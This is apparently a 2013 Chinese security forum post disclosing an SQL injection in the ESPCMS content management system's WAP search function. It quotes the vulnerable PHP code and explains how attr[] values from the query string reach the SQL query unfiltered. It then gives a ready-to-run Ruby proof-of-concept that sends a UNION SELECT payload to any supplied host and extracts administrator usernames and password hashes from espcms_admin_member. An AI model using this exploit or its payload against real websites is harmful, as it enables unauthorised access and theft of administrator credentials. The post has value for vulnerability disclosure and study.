espcms wap模块搜索处SQL注入

admin · 发表于 2013-7-27 18:31:52

0×0 漏洞概述0×1 漏洞细节
0×2 PoC

0×0 漏洞概述

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统，它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便，可以帮您迅速、轻松地构建起一个强大专业的企业网站。
其在处理传入的参数时考虑不严谨导致SQL注入发生

0×1 漏洞细节

变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query，整个过程无过滤导致了注入的发生。
正因为变量是从$_SERVER['QUERY_STRING']中去取的，所以正好避开了程序的过滤。
而注入的变量是数组的值，并非数组的key，所以也没过被过滤，综合起来形成了一个比较少见的SQL注入。

在/interface/3gwap_search.php文件的in_result函数中:

   function in_result() {
         ... ... ... ... ... ... ... ... ...
         $urlcode = $_SERVER[ 'QUERY_STRING '];
         parse_str(html_entity_decode($urlcode), $output);

         ... ... ... ... ... ... ... ... ...
         if (is_array($output['attr' ]) && count($output['attr']) > 0) {

               $db_table = db_prefix . 'model_att';

               foreach ($output['attr' ] as $key => $value) {
                     if ($value) {

                           $key = addslashes($key);
                           $key = $this-> fun->inputcodetrim($key);
                           $db_att_where = " WHERE isclass=1 AND attrname='$key'";
                           $countnum = $this->db_numrows($db_table, $db_att_where);
                           if ($countnum > 0) {
                                 $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
                           }
                     }
               }
         }
         if (!empty ($keyword) && empty($keyname)) {
               $keyname = 'title';
               $db_where.= " AND a.title like '%$keyword%'" ;
         } elseif (!empty ($keyword) && !empty($keyname)) {
               $db_where.= " AND $keyname like '% $keyword%'";
         }
         $pagemax = 15;

         $pagesylte = 1;

         if ($countnum > 0) {

               $numpage = ceil($countnum / $pagemax);
         } else {
               $numpage = 1;
         }
         $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
         $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );          $rs = $this->db->query($sql);
         ... ... ... ... ... ... ... ... ...
   }

0×2 PoC

require "net/http"

def request(method, url)
if method.eql?("get")
      uri = URI.parse(url)
      http = Net::HTTP.new(uri.host, uri.port)
      response = http.request(Net::HTTP::Get.new(uri.request_uri))
      return response
end
end

doc =<<HERE
-------------------------------------------------------
Espcms Injection Exploit
Author:ztz
Blog:http://ztz.fuzzexp.org/
-------------------------------------------------------

HERE

usage =<<HERE
Usage:       ruby #{$0} host port path
example:    ruby #{$0} www.target.com 80 /
HERE

puts doc
if ARGV.length < 3
puts usage
else
$host = ARGV[0]
$port = ARGV[1]
$path = ARGV[2]

puts "

send request..."
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
response = request("get", url)
result = response.body.scan(/\w+&\w{32}/)
puts result
end

		自动登录	找回密码
密码			立即注册